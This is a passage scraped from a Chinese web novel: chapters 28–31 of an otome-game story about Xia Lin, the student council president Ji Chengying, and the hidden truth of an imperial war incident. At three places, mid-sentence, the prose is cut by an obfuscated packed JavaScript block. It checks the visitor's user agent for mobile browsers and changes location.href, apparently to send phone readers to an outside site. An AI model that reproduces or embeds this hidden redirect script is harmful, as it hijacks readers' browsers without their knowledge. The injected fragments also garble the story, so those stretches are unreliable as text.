——如果秦封有对她游戏记忆动手脚的可能,他完全可以先篡改他之前在她面前“展现神通”的记忆。 那样做的话,至少现在她就不会这样警惕秦封。他也就不会这样长时间的消失了吧? ……等会,她现在这是什么奇怪的想法? 夏林蓦地停下了脚步。 前方楼梯的拐角,一个修长的身影慵懒地倚靠在墙边,如绸缎般的白金发丝自然地垂在身后,发尾的金色发环在清晨的光线下渲染出了柔和的光晕。 他碧绿的眼眸低垂着,长而密的睫毛在眼下投下了一片淡淡的阴影,专注地看着前方的那一小片光脑投屏。 纪承英很快察觉到了不同的视线,羽睫微抬,碧潭里映出了金发少女的身影。 “早上好。”他关闭了光脑的投屏,直起身面朝夏林,露出一个和煦的微笑。 想到自己对他隐瞒了的那些事,夏林避开了纪承英的目光,只是简单地点了点头。 就在夏林就要路过纪承英身边时,身旁人忽然伸出一只手按住了自己的肩膀,一只手轻柔地托了一下她的下巴。 “抱歉,失礼一下。” 随着耳边这句话落下,纪承英那张清俊的面容在眼前不断地靠近放大,几乎能感受到温热的鼻息扑在面上。 夏林其实有充分的时间进行反应,但她按捺住了自己的条件反射,只是目不转睛地等他做完这一个动作。 结合回忆内容,她知道以纪承英的人设就算好感度上来了,也显然不是那种会动手动脚的人。 “还好之前的伤势没有留下什么痕迹。”纪承英瞧得很仔细,看完后舒了一口气。 “……多谢你的关心,真的只是小伤。”夏林礼貌回应。 纪承英在原地怔了一下,似乎没有想到是这样平淡的反应。 此时上课铃响起,夏林向纪承英比了一个手势便转身往教室的方向走去,动作利落没有一丝留恋。 望着少女远去的背影,那双碧绿的眼眸中划过一丝迷惘。 · 由于暂时没有想要整理的剧情,游戏内的上课时间夏林都选择了跳过。 无法跳过的就是攻略角色相关的内容。 于是下一秒,一只白皙修长的手伸到夏林眼前晃了晃,唤回了她的注意力。 “怎么一直皱着眉?下课了,已经是午休时间了。”纪承英的嗓音从边上响起。 “抱歉,一时走了个神。” 夏林从座位上站起,扭头问:“今天你也要去学生会办公室?” 纪承英迟疑了一下,点了头:“……嗯。” “那你去吧,我去食堂。等会吃完饭要是有事就来找你。” 夏林走过纪承英身旁,见对方不知为何站着不动,不由得停了一下,问道:“怎么了?” “……没事,走吧。”站在原地的纪承英转过了身,脸上依然挂着平时那个温润和煦的微笑,看起来毫无异样。 夏林的视线在纪承英身上的某个位置停留了一下,下意识地开口: “纪承英,你为什么一直留着长发?” 她想起来纪承英回忆里的最后也特意出现了一段长发相关的内容。 现在想想,目前所有和纪承英有关的剧情里,“长发”一直是个高频关键词。 男生里长发确实一直都是少数,军校生里更是几乎没有。就算在现实世界里的军校,也基本上只有少数的女生会保留长发。 训练,清洁。维持长发在军校生活中不方便的地方数不胜数,更何况游戏世界观下的军校似乎要求必须短发。 “怎么突然问这个?”纪承英对这个突如其来的问题似乎也有些意外。他停了动作,抬眼看向夏林。 夏林也觉得自己冷不丁问得有些突兀了。她看着纪承英脸上隐晦的表情变化,斟酌道:“你不想说的话也可以不说。” 她可以下次再找合适的机会旁敲侧击。 出乎意料地,金发碧眼的学生会长只怔忪了片刻,便扯了下唇角:“告诉你也可以。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083915|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>夏林愣了一下。 “在我年幼时,我父亲就去世了,”纪承英一顿,继续开口,“我父母的感情极好。但父亲公务繁忙,以前在家里也总是来去匆匆。后来他出事之后,我偶尔会看见母亲望着我的金发发呆,那时候她的表情……” 纪承英抿了下唇:“我母亲她……后面一个人很不容易,我那个时候年纪小,能为她做的并不多。” 夏林沉默了几秒,开口说:“……你真是一个非常温柔的人。” 纪承英闻言一挑眉:“我平时没有给你这种感觉吗?” 夏林认真答道:“平时距离感更多,不过也不难理解。” “只要是想好好表现的场合,人都会下意识地表现出自己更强势的一面。这都是为了在某些人的心目中能成为一个更有担当、更能让人依靠的人。” 等到她说完再去看对面人的时候,却发现纪承英怔怔地看着她,不由得又喊了一声。 纪承英回过了神,转而用一种复杂的目光看着她: “那你呢,你为什么来读军校还留了长发?有很多不方便的地方吧。” “因为……” 因为她是玩家她从现实里进入游戏就是长发,现实里她的军校可以留长发啊。 夏林张了张口,这些话显然都是不能说的。 不过,即使在现实里的军校,女生也是短发居多的。 她一直保留着长发的理由…… 是什么来着? 夏林眨了下眼。 熟悉的缺失感涌了上来。脑海中的记忆宛如笼着一层薄雾,即使她竭力回忆,始终带着朦朦胧胧的重影。 不过这次她还是想起了一些东西。 夏林开口说:“因为我小时候曾经在医院和一个孩子做过约定。当时那个孩子好像是因为生了什么重病导致头发全部脱落了,我说等‘她’的治疗全做完了可以给‘她’移植。” 纪承英愣了一下,知识严谨的学生会长立刻对其中的技术问题提出了一大串疑问:“虽然现在异体毛囊移植存活率也还可以……不过那也是个金发的女孩吗?如果不是的话,让她用自己其他部位的毛囊不是成功率更高?而且就算是异体毛囊移植,也不会直接取你头上的毛囊啊。” 夏林笑了一下:“所以说那是我小时候做的一个约定,当时我也没想这么多。只记得那孩子好像很喜欢我的头发。” 严谨的学生会长一时语塞,过了几秒才说:“所以你就从那时候一直保持长发到了现在?是你亲戚家的小孩?关系很亲近?” “不,那是我在医院偶尔碰到的一个陌生孩子,”夏林想了想,补充道,“我只和那个孩子见过那一次面,后来再也没有遇到过。” 纪承英听完后沉默了许久,最后评价道:“看来你是个十分重视约定的人。” “可能吧。”夏林低头看了一眼光脑,午休时间不知不觉都过去三分之一了,他们聊得有些久。于是她抬起头向纪承英告别:“我先走了。” 纪承英点了点头:“嗯。” 夏林在离开教室前往食堂的路上忽然想到。 那个小孩的名字…… 她小时候好像没来得及问。 不过要是后来有人因为这个事情来找她,那肯定就是了吧?也不知道是不是因为后来长大了有了这方面知识,所以才害羞一直没有来找过她。 不知道那个孩子现在怎么样了。 夏林默默想着。 她记得好像那是个很漂亮像洋娃娃一样的孩子。长大后也一定会是个美人。 尤其是那双黑珍珠一样的双眼。 非常可爱。 29. 纪承英10 午间的阳光透过五楼学生会办公室的窗帘,在深褐色的木质桌面上形成一片片斑驳的光影。 金发碧眼的学生会长坐在桌前,眉头微微蹙起,修长的手指无意识地敲击着桌面。 他的目光无意识地落在正前方,却似乎没有聚焦在任何一点上。 前方光脑的投屏内容显示“待处理事项”已清空。 这时,办公室的门被从外面推开,一个吊儿郎当披着制服外套的红发身影走进来,熟门熟路地躺到了松软的沙发上,还调整了一个舒适的姿势,闭上了眼。 开门的声音让纪承英回了神,一看见来人在沙发上那“安详”的模样,无奈地扶了额: “司昊泽,这里不是你的午休室。没事的话就出去,别人看到了像什么样子?” 司昊泽眼皮都没抬一下,继续舒服地躺着:“这里中午又没人来。我是心地善良的义工,特意来陪伴‘孤寡会长’的。” 他自顾自说完,一秒后忽然察觉到了什么,立即睁开眼,坐了起身看向纪承英的方向:“不对啊,以前你最多说说,可没赶过我。今天中午真有人来?谁?” 平日里端庄沉稳的学生会长肉眼可见地僵了一下,撇过头避开了那道灼灼的目光:“没事就走,别问这么多。” “……她也不一定会来。”后一句纪承英说得极轻,几乎只有自己能听见。 “她?谁啊?夏林?” 声音传来的方向不太对劲。 纪承英的视线缓缓向下,正好对上了不知何时悄然靠近,毫无姿态趴在地上往上看的司昊泽的双眼。 对视之后,还朝他眨眼wink了一下。 纪承英感觉到自己额头的青筋一跳,随即猛地站起身。 “嗯?”还在偷笑中的司昊泽感觉到脸上落下了一大片阴影,他表情一顿,视线缓缓往上,咽了下口水:“冷静!小英,啊不,学生会长!会长——” “不要打脸啊——” …… 学生会办公室短暂的“小混乱”过后,纪承英转移阵地往后一仰也坐在了沙发上,对对面那个龇牙咧嘴的红发青年没半点好脸色: “没事就别来烦我。午休时间也差不多了。” 司昊泽一只手捂着脸,一边“自言自语”作哀愁状控诉:“唉我们会长这么暴力,我等会可得去好好跟夏林学妹‘详细’说说。” 余光瞥见对面人额角青筋又要爆起,他连忙伸出手阻拦:“别,我有正事。就是上次你让我找白川进学院的身份资料流程审核。” 纪承英这才重新坐了下来,一眼瞥见对面人伸出的那只手刚好是他方才捂着脸的手。 而司昊泽那张脸上被捂的位置白白净净,连个红痕都没有。 纪承英那双碧绿的眼眸微微眯起。 方才那个“小打小闹”,虽然他故意给了极长的准备时间不想伤到人,但出手的速度可不慢。而且司昊泽趴在那里,上面是书桌,可躲闪的空间并不多。 他那一拳下去确实有接触到皮肤的感觉,但司昊泽鬼哭狼嚎又捂得太快,现在才知道对方其实是完全躲过了那一拳。 早就知道司昊泽身手不差,但或许不止如此? 红发青年终于正了表情:“白川的入学考试经过影像恢复确认,都是他本人去考的。但是他提交的身份资料除了名字照片以外,其他的信息都能和另一个人对得上,包括公民身份识别码。具体内容我已经发给你了。简单来说就是他顶了另外一个人的身份。” 纪承英一听就蹙了眉。他低头看着光脑上司昊泽发过来的调查资料:“现在的帝国居然能让星盗随便顶掉一个帝国公民的身份?” 他往下看了一会,视线停留在了光屏上的某一行:“入学身份资料的审核人是隐藏的? 纪承英很快想到了什么,抬眼看向司昊泽:“权限不够?是军部那边?” 红发青年耸了耸肩。 纪承英眉头紧皱。他垂眸思索了一会,嘴里自言自语地说出了几个名字。 一旁的司昊泽瞥了一眼表情凝重的纪承英,眼珠一转,忽然开口说:“不过刚才我进来的时候你在发什么呆呢?” 金发碧眼的学生会长一愣,他本欲张口说些什么,但一抬眼看到对面从容不迫的司昊泽又变得有些迟疑。 他最后还是犹豫地开了口:“就是……感觉夏林这个人似乎还不错。” “嗯?这种评价对我们会长来说可是头一回。心动了?”司昊泽轻佻地吹了个口哨,一副非常有兴趣的架势,“展开说说?”他催促道。 “不是那种意思!”纪承英刀了司昊泽一眼,然后重新说:“只是夏林这个人……身上疑点重重。” 金发的学生会长打开了自己的光脑,向坐在对面的人发送了一条讯息。 是夏林的校内档案。 “她转学以来在天宿军校的所有课程表现都很普通,但实际却不是这样。”纪承英继续说:“我有亲眼见识过两次,至少她的格斗技术绝对是顶尖的。” 对面的红发青年瞥了一眼光屏上数值平平无奇的机甲数据一栏,在对面人察觉不到的角度扯了下嘴角。 “我后来有一次还发现,夏林对战时情报极为熟悉。那些只有现役军官才知道的暗语缩写与标识,她全部看得懂并且能飞快消化完,再给出对策。” 纪承英说到这里顿了一下,随即沉声道:“根本不像个还未毕业的军校生,反而像是前线驻扎多年的现役军官。” “你的意思是……”司昊泽眸光一闪,有些兴味道,“她有可能是联邦的卧底?” “不像,”纪承英答得很快,但他答完之后眼中又有了几分迷惘,“不,也或许只是我心里不希望她是。” 纪承英低声道:“她有太多的矛盾点。最开始接近我的理由……我现在想来,她也不像是会杀白川的人。之前我有向一年级的几个人求证过,她是真的与白川关系极好。” “说不定就是城府极深的那种人?能到帝国来的卧底不都是这样的嘛。” 纪承英闻言抬起了头。 对面的红发青年依然坐没坐相吊儿郎当,但他抬眼那一刹那对上的,是一双幽深不可见底的眼眸。 那是一种从未在司昊泽脸上出现过的表情。 但下一秒一眨眼,那双眸子又弯了起来,红发青年恢复了平时嘻嘻哈哈的模样。 “哎,不过白川死亡的调查记录我不是早就给你了?你都看过了,上面没有疑点吧?” “是。”纪承英皱了下眉,这也是他觉得矛盾的地方。 白川的死亡调查报告上,的确有多处证据证明了当时最后和白川在一起的只有夏林一个人。 ……弹道数据也能对得上。 司昊泽将对面人纠结的表情变化都看在眼里。他微微眯起了眼,似是不经意间提起: “会长现在这么矛盾,也可能是因为和夏林学妹接触得不够多?刚好要周末了,我这里有两张明天晚上烟花大会的通行票。军校内的活动毕竟有限,说不定出去之后,能让你看到更多的东西。” “烟花大会?”纪承英怔了一下,目光有些迟疑,“我单独邀请她的话……不会太唐突吗?” “唐突什么?关系好的朋友也可以一起去烟花大会啊,你不是说不是那种心动吗?”司昊泽轻飘飘地把之前纪承英自己讲过的话又丢了回来。 纪承英:“……” 金发碧眼的学生会长在原地犹豫了好一会,最终还是点了头。他打开光脑投出了光屏,在上面快速输入文字,点击了发送。 回复来得比想象中快多了,几乎是秒回。简直就像是对面也一直在开着这个对话框一样。 只是…… 纪承英看着讯息上的文字内容,脸上的表情渐渐沉了下来。 一旁司昊泽也听到了光脑传来讯息的声音。他在边上观察了一会才走过来佯装不经意地伸手揽过兄弟的肩膀,视线往光屏上瞄去: “怎么这个表情?我们的会长大人难道被拒绝了?” “不,她同意了。”纪承英抿了下唇:“只是她说‘她发现了和机甲同步率100%的人,让我把这件事上报给帝国军部,或许能对现在的帝国联盟局势有所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087613|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮助。’我在想这句话是什么意思。” 他顿了一下:“现在想想,她最开始的时候也有提到过一次。但我后续并没有查到相关信息……帝国军部真的有在找机甲同步率100%的人吗?那是什么?她又怎么会知道这件事?司昊泽,你听说过吗?” “……” 话语没有得到回应,纪承英不由得又喊了一声:“司昊泽?” 红发青年猛地回了神。他张了张口:“我……” 他把手从纪承英肩膀上放了下来,退后了两步,指了一下光脑:“喂,我才发现我们好像聊得有点久了,午休时间马上都要结束了。” “我才想起来我还有点事情,先走了,赶时间。”话音落下,司昊泽做了一个“抱歉”的手势,自顾自转身快步离开了学生会办公室。 留下了一脸莫名的纪承英。 联想到这位来头不简单的好友方才的异样。 他垂眸沉思了片刻,在光脑上打开了对军部的专用加密通讯页面。 · 离开学生会办公室的司昊泽大步流星地在教学楼走廊径直往前。 此时恰逢午休即将结束,正是军校学生们返回教室的高峰期。一路上不断有各年级的男生女生冲着这位校内人气极高的红发青年打招呼。 不同于以往的热情回应,司昊泽只简单地点了点头便继续往前,几乎没怎么停下脚步。 “司学长是有什么急事吗?我还是第一次看到他这么凝重的表情呢。” “是诶……” 边上的军校学生们小声议论。 然而司昊泽现在也顾不上维持什么形象或者人设了。他很快到了二年A班的教室外,一眼就看到了里面的那个他想找的人。 他很快叫住了一个刚好要进教室的女生,让她进去帮忙喊一下人。 不多时,夏林便从教室里走出。她看向门口人的表情极为冷淡,开口言简意赅:“什么事?” 司昊泽回过头左右看了一眼人来人往的走廊,对着夏林指了指边上的拐角:“去那边说怎么样?” 见夏林有所迟疑,他不耐烦道:“有这么多人看到是我喊你出来的,还担心什么?” …… 夏林抿了唇,抬步往那边的角落走去。 结果她刚走到角落的墙边侧过身,一只手就撑在了夏林侧边的墙上。 她瞥了一眼,皱了眉,刚要开口说些什么,刚一抬头对上面前人的眼神,忽然就止了声。 “喂,发那条消息给纪承英,你是不是觉得自己特别善良?” 这是夏林第一次在司昊泽身上感受到如此鲜明的怒意。由于两人此时距离极近,她第一时间注意到面前人的眸色并不是她一直以为的黑色,而是一种极为深邃的墨蓝。 “是白川那只小狼崽和你说的?机甲同步率100%的人和‘236幽灵事件’有关。那个事件是联邦和帝国战乱的开始,所以你很快想到了,我寻找的这个人和那天表面上‘毫无作为’的隐形军舰有关。” 司昊泽的声音依旧低沉好听,可他说出的每一个字都像是从牙缝中挤出来的,带着不易察觉的颤抖。 “帝国和联邦无论哪边获得了这项技术,显然就能以字面意义上的最小伤亡来结束这场持续了超过十年的战乱。你主动和纪承英说这一点,是想协助帝国进行研究吧?只要终结了战乱,他一直烦恼的那些问题就能迎刃而解了。你是不是觉得自己是伟大的救世主?” 司昊泽的这番话确实戳中了夏林发那条讯息的用意,但话语中的嘲讽意味极深,听着极不舒服。 她蹙了眉:“你到底想说什么?” 那只撑在夏林侧边墙上的手不知不觉中攥成了拳,听到她这句话后猛地往墙上一砸。 司昊泽平静的面具似乎已经摇摇欲坠,他砸完墙之后闭眼深呼吸了一下,才睁开眼说出了下一句话: “可是你并不是第一个能和机甲同步率达到100%的人。” 他勾唇,扯出一抹讽刺的笑: “你在达克里亚星窥见的黑暗,仅仅是冰山一角。” 30. 纪承英11 她不是第一个机甲同步率100%的人…… 脑海中剩下的那几条零星线索忽然串联了起来。 夏林很快就想明白了这句话的言下之意。 司昊泽看着金发少女听完后骤变的表情,抿了下唇,收回了撑在墙上的那只手,抱胸睥睨道:“原本以为你是个聪明人,没想到天真程度居然和我们的小英不相上下?那次在达克里亚的星舰上你明明主动掩盖了‘真相’。既然已经做出了选择,为什么现在还要再戳破那层窗户纸?难不成还是因为爱情?昨天你们俩发生什么了?今天纪承英也表现得有点……喂!去哪?” 司昊泽话还没说完就猛地被往旁边推了一把,紧接着就看到夏林从楼梯往上跑去,很快不见了人影。 红发青年在原地愣了一下,抓了一把自己的头发,打开光脑按下了上面某一行未标注任何备注信息的联络人。 页面显示转为“通话中”后,司昊泽却没有发出任何声音,只是在光脑上用手指敲击了几下,然后停止了动作。 通话结束。 · 推开司昊泽后,夏林一边往学生会办公室跑,一边在光脑上试图拨打纪承英的通讯。 但是一直没有接通。 她感觉自己的心渐渐沉了下去。 直到这时,夏林才知道系统给她看那段幼时纪承英记忆的真实用意。 小纪承英确实在那一天什么都不知道。可她是从第三人的视角进入的。 那段记忆里最重要的讯息是时间差。 纪淮宇将军告别离开之后,小纪承英也跑上楼了,但她一反常态地没有跟随主角纪承英的视角移动,而是有一段时间继续维持了楼梯旁的视角,直到时间突然切换为第二天早上小纪承英起床下楼。 因为那段夜晚楼梯旁的持续时间里一切正常,什么也没有发生,所以夏林当时并没有多想。 现在想来,平静,才是最大的提示。 ——说明当时“236幽灵事件”根本还没有开始,否则当时还醒着且同在军部任职消息灵通的女主人不可能毫无动静。 所以“236幽灵事件”是纪淮宇将军离开家过了相当长的一段时间后,才在凌晨发生的。 假设“机甲同步率100%人选”是出现“幽灵军舰”的充分条件。那在11年前,最可能满足“机甲同步率100%”条件的人,就是当时拥有“帝国之盾”称号的最强者纪淮宇将军。 在这个后来广为人知的“236幽灵事件”里,他是最出名的伟大牺牲者。在联盟卧底趁乱发动对王宫的袭击中,为了保护自己的皇帝,最后英勇殉职。 无数记录表明,“联盟卧底袭击王宫”这件事是在“幽灵军舰”出现后。 可当时敌方的“幽灵军舰”大喇喇地出现在了我方大本营上空。这种堪称最大危急的情况下,作为帝国军部当时的最高指挥官,王宫尚且无事发生时,他真的还能安稳地呆在王宫内吗? 那位纪淮宇将军,真的是死于联盟卧底? 作为将军之后的纪承英为什么会对“寻找机甲同步率100%人选”的事一无所知?这明显是军部的大事,而且正在军校就读还成绩优异担任学生会长的纪承英有非常便利的寻觅条件。 除非……军部有瞒他的必要理由。 夏林深吸了一口气,猛地推开了五楼学生会办公室的大门。 里面没有那个曾和她说过中午会一直在的金发身影。 夏林立即扭头问办公室内正在整理什么的一个NPC女生:“纪承英呢?” “你找会长?会长的话,刚才军部忽然来了人,说找他有事,就一起走了。”NPC女生还是有些眼熟夏林的,十分爽快地给了答案,还贴心地附送了一句,“他一两分钟前刚走,你们刚好错开了。可以去追追看,兴许还追得上?” “谢谢。” 夏林一听这话立刻转身从旁边的楼梯迅速往下。即使下午课程开始的铃声响了也没管。 兴许是因为进入了上课时间。学校的走廊一下子空了下来,没有来时的拥挤,夏林下楼极为顺利。 她在最后一层的楼梯上就远远望见了即将走出校门的纪承英一行人。 时间紧迫,夏林立即一步跃下。刚踩上一楼的教学楼地面,她便站起身朝着纪承英的方向跑去。眼看着前面人就要进入飞行器,她张嘴欲喊—— 此时,一只手从后方捂住了夏林的嘴巴,然后大力地一把将她扯到了边上两步的石柱阴影处。 金发少女一时间没有防备被拉了过去,等她抬头看清来人时只安静了一秒,然后趁着对方一只手需要按住她嘴巴的时机反手整个人朝着禁锢她肩膀的那边撞去。 然而对方像是猜到了夏林的所有行动,在撞过来的那一瞬间侧身改变了重心,恰好让夏林整个人撞进了他怀里。 然后来人换了个姿势,改为一只手死死地按住了她的头,另一只手试图抓住夏林的两只手反剪。 失败了。 因为夏林半点没留情,竭尽全力朝着面前的胸膛腹部猛锤了两拳。 上方传来了闷哼声,但依然强撑着没松手。 可力气终究比之前泄了一些,夏林成功挣脱,刚往外挪了一步,又被后面人死死地抓住了手腕。 夏林回过头,对方冲她开口: “你已经追不上了。” 她扭头看向前方。 一分钟不到的耽搁,校门口的方向已经彻底看不见纪承英的身影,唯有门外停靠着的军方飞行器正在缓缓关闭上客的侧门。 然后原地浮空起飞,瞬间消失在了门外。 夏林站在原地深吸了一口气,转身看向身后之人: “既然你出现了,我是否可以认为刚才是‘危险的时候’?如果我追上去会怎样?我会死?” 许久未现身的秦封因为方才的打斗身上的深色制服有些凌乱,他抬手扯了一下衣领,听见这句话沉默了一会,然后轻轻地“嗯”了一声代表肯定。 听见肯定答案的夏林在原地愣了一下,然后怒极反笑:“那我现在没追上,后面又会怎样?纪承英会死吗?像白川一样?” 她转过身,一步一步靠近面前高大的黑发男人,然后一把拽住了他的衣领: “如果你一开始就知道全部后续发展的话,这个游戏到底还要我来做什么?” 极近的距离让两人的呼吸交织。 秦封静静地望着那双染着怒意的蔚蓝色眼眸。那双漆黑的双眼仿佛吞噬了一切,没有表露出半分情绪。 他听见夏林在对他质问:“如果你只是希望我像傀儡一样按照你的想法走向某一个特定的结局的话,说出你的条件吧。” “你直接告诉我接下去要怎么做,我会配合你继续游戏。干脆爽快一点,快进到你想要的那个结局。这样对你我都好。” 一听这句话,秦封想也不想地就回答道:“必须你自己进行游戏。” 游戏,又是游戏。 这个乙女游戏到底是什么?她为什么一定要进行这个游戏? 夏林想不明白。 可在她想要好好进行游戏的时候,秦封又跳出来强行干涉? 他不觉得自己前后矛盾吗? ……而且越进行这个游戏,夏林越觉得自己好像哪里不太对。 无论是记忆,还是有些时候莫名出现的那些情绪。 秦封这句话一出,两人之间的气氛再次降到了冰点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091122|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏林松开了拽着对方衣领的手,不再看对面的黑发男人,转身准备上楼回去。 只是她刚转过身,后方再次传来了秦封的声音: “为什么,你选择不告诉纪承英帝国的真相?” “他和之前的白川不一样,纪承英有正式的身份与地位,也并不是一个性格脆弱的人。如果你告诉他帝国的真相,他说不定会有别的后手和安排。” 夏林的脚步一停。 之前有关游戏的事,秦封从未用过“如果”“说不定”这样不确定的词汇。 亦或者是因为自己刚才那番话,故意透露出来的“另一个剧情方向”? 该继续套他话吗?但他这个问题的答案…… 夏林深吸了一口气,一瞬间涌上心头的大量陌生负面情绪让她脸色有些发白。 她强装平静地开口:“说实话,我不知道自己为什么会这样做。” “但我作为这个莫名其妙的乙女游戏玩家,我不想像白川那时候一样,只是来这里当他人生的一个无力见证者。” “不过话虽然这么说,我其实也没有玩过其他乙女游戏。不知道正常来说这种游戏的玩家是怎样的设定。” “只是我觉得,纪承英现在的人生已经很好了。他母亲隐瞒他真相的理由,我多多少少也可以理解。” “所以在这段剧情里,我也打算成为守护他的利剑之一。” 夏林张了张口,垂落在身侧的手不知何时攥成了拳,指甲深深地嵌入掌心。 可那种宛如要将人整个吞没的窒息感丝毫没有缓解。 她无声地大口呼吸了几口,竭力平稳了声线: “或许像你说的那样,把真相告诉纪承英,他自己也会有后续的对策,‘玩家’可能什么也不需要做,很轻松。” “但我并不希望我存在的意义仅仅如此。我所希望的是,我身边的人能够因为我的出现,少一些痛苦的时光。” “虽然从现在的局面来看,我好像是搞砸了。” 夏林说完这句话之后,用力地闭了闭眼。 痛苦,绝望,悔恨…… 一瞬间涌上心头的这些负面情绪不知从何而起,直压得人喘不过气来。 可秦封还在身后。 夏林定了定神,再次强稳了声线开口:“所以……” 却被对方打断。 “不用再说了。”秦封冷淡的嗓音从身后传来。 “仔细想来,我也没有向你解释过我的行动。那你也一样不需要告诉我。” 他顿了一下,继续开口:“你只需要做你觉得正确的选择即可。” “毕竟,你是这里唯一的主角。” 不知道是不是错觉。这几句话,虽然还是带着秦封一如既往的风格,却好像夹杂着一些小心翼翼的别的什么。 就像在一片干涸到颗粒分明的沙地里倒入了一杯凉水,异样的感觉转瞬即逝。 夏林张了张口,最终却什么也没说。 但能感觉到有一道目光一直跟在身后。 于是夏林不再停留,重新抬步迈上了教学楼的台阶。 一步,两步。 没有之前的速度,但走上楼的金发少女每一步都很稳健,脊背挺拔。 一如秦封记忆里每次见到时的模样,让人乍看之下根本察觉不到任何异样。 秦封一直目送着那个身影,直到消失在楼梯的转角。 他想起了刚才看到的那个微微颤抖的背影,如果不是他一秒都没有移开目光,或许也根本注意不到。 如果他那时……也能多留心一下的话。 留在原地的黑发男人独自站了许久。 薄唇紧紧地抿起。 31. 纪承英12 “滴,通行证已验证。请按引导前往您的座位包厢。” 前方的验票机器在语音提示后缓缓打开了闸门。直到夏林走入这个椭圆形的巨蛋会场,才有了一些真实感。 暮色渐沉,天边橘红色的霞光为这个巨蛋会场的穹顶渡上了一层温柔的金边。远处飘来食物的香气和甜点的甜腻气息,来往的行人脸上都带着幸福的笑容。 夏林沿着光脑的指引一路向前,到了属于自己的包厢前,再次扫描通行证开门进入。 她来得早,里面果然空无一人。 现在的烟花大会会场提供全封闭包厢式座位。不过与其说是包厢,不如说是一个个特制的“小型飞行器”。 同时购买的座位将划入同一个球形包厢。包厢的大小不一,面向家庭顾客也面向单人顾客。包厢在水平面上的坐标为固定值,但可自由选择观看位置的高度。所有包厢外侧均使用了特殊的材料,在内部控制台选择“纯享模式”开启后,即可屏蔽周围的包厢,只看到外景。 夏林看完了包厢内部虚拟AI的介绍视频,在座位上坐了下来。 她在今天中午的时候终于收到了来自纪承英的讯息,内容是“别忘记晚上的烟花大会”。 说实话要不是这条消息,夏林还真没想起来她答应过烟花大会这回事。 只是她实在不明白在这个节骨眼上怎么还能有“烟花大会”这么不合时宜的字眼出现。仔细想来之前白川想去校外的理由也很牵强,只能说是系统剧情安排如此。 夏林从昨天晚上到今天出门前一直在校门口附近蹲点纪承英,很确定对方没有返校。同时她对纪承英那条消息的后续回复全部石沉大海,他一概没回。 完全不清楚纪承英那边现在是个什么状况。 他是按照自己说的那样,将发现机甲同步率100%人选的事情汇报上去了吗? 可这样为什么被带走的是纪承英,而不是她呢?不可能不问消息来源吧?检查光脑信息也会查到她。 令人心焦的等待并没有持续太久。在烟花大会即将开场前,夏林所在的包厢门终于被人从外面打开。 走进来的的那个人影姿态依旧修长挺拔。只是在回过身面朝夏林时,他眼底的青黑与面容上的憔悴依然暴露了状态不佳,连那头耀眼的白金发丝都显得黯淡无光。 消失了一日的纪承英冲夏林简单地打了个招呼,然后自顾自走去旁边的饮水器里接了一杯水,一口气饮下。 夏林的目光一直没有离开纪承英的脸上。从表情上看,她觉得纪承英已经知道“236幽灵事件”真相的概率是100%。 这让她愈发难以开口。 怎么说呢?她该为之前隐瞒的事情道歉吗?还是安慰一下他?什么样的话才是安慰? 就在夏林苦思冥想了许久终于打算开口时,对方却在同时也发出了相同的音节。 “你……” “你……” 两人异口同声之后对视了一眼。夏林选择了闭口不言,那边纪承英却开口说: “说起来,我之前邀请你来这个烟花大会,是因为对你有所怀疑。你知道的吧?自己在我面前的行动很可疑。” 听到这个理由,夏林愣了一下。 纪承英继续道:“不过现在看来,你的可疑只不过是我太过无知。” 这意味不明的话语让夏林在纪承英说话的期间打开了系统的好感度页面。 因为之前纪承英的好感度几乎很少会有变化,所以后来她也没打开看了。 纪承英:【90/100】 这个当前的数值让夏林眼皮一跳。 可那两句话怎么也不像是对她好感度高达90的人会说的。 她记得纪承英的好感度只有她做了对帝国有利的事情才会增加。可是自从上次去边境星考察的70之后她明明什么也没干。 此时,烟花大会开始了。 所有包厢似乎是自动切入了“纯享模式”,所有方位的墙壁像玻璃一样透明化,可以很清晰地看到外面的场景。 第一枚烟花很快撕裂了夜空。 金色的流星笔直窜上了百米高空,在人们仰头的瞬间轰然绽放。千万点鎏金火花呈伞状坠落,将整个会场映成了流动的琥珀色。 “听说烟花这种物品在很早以前里面有一种主要成分名为‘火药’。这种成分后来被应用于武器。” 包厢内,纪承英的声音蓦然响起: “即便是同一种物质,在不同人的手里能起到的作用也是天差地别的。有的人能给别人带来欢笑,而有的人只能带来鲜血。” 绚烂的烟火带来的光影在纪承英脸上平静地流淌着,一如他此时的语气。 不知为何,夏林几乎是瞬间就领会了对方这些话语是在暗指什么。她沉默了一会,开口说:“但在以前,有的时代需要的是烟花,有的时代更被需要的是火药装填的武器。” 